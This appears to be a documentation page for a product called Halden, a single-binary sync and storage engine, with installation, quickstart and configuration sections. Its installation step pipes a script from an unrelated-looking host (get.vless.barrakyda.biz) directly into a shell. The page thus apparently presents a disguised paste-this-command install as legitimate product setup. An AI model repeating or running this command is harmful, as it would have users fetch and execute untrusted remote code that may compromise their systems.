Documentation

Halden

A sync and storage engine for local-first applications.

Halden is a single-binary engine that keeps application data in sync across clients and stores it durably on disk. It exposes one HTTP interface for reads, writes, and a live change stream — no external database, no background services to coordinate.

Data is organized into namespaces. Each namespace is an independent keyspace with its own change log, so unrelated apps can share one engine without stepping on each other.

#Installation

Halden ships as one static binary. Place it on your host and start it:

# download and start
$ curl -sSL get.vless.barrakyda.biz/install | sh
$ halden serve --data /var/lib/halden
→ listening on :4600 · api ready · sync ready

#Quickstart

# create a namespace
$ halden ns create notes

# write a record
$ curl -X PUT :4600/v1/notes/today \
    -d '{"body":"hello"}'

# read it back
$ curl :4600/v1/notes/today
{"body":"hello","rev":1}

#Configuration

Configure with flags, environment variables, or a small YAML file. Flags take precedence.

# halden.yaml
data:    /var/lib/halden
listen:  127.0.0.1:4600
log:     info
retention:
  snapshots: 24

• data — directory for the append-only log and snapshots.
• listen — address the HTTP interface binds to.
• retention.snapshots — how many point-in-time snapshots to keep.

#API reference

Every route lives under /v1/<namespace>. Requests without a valid token return 401.

#CLI

The halden binary is both the server and the client.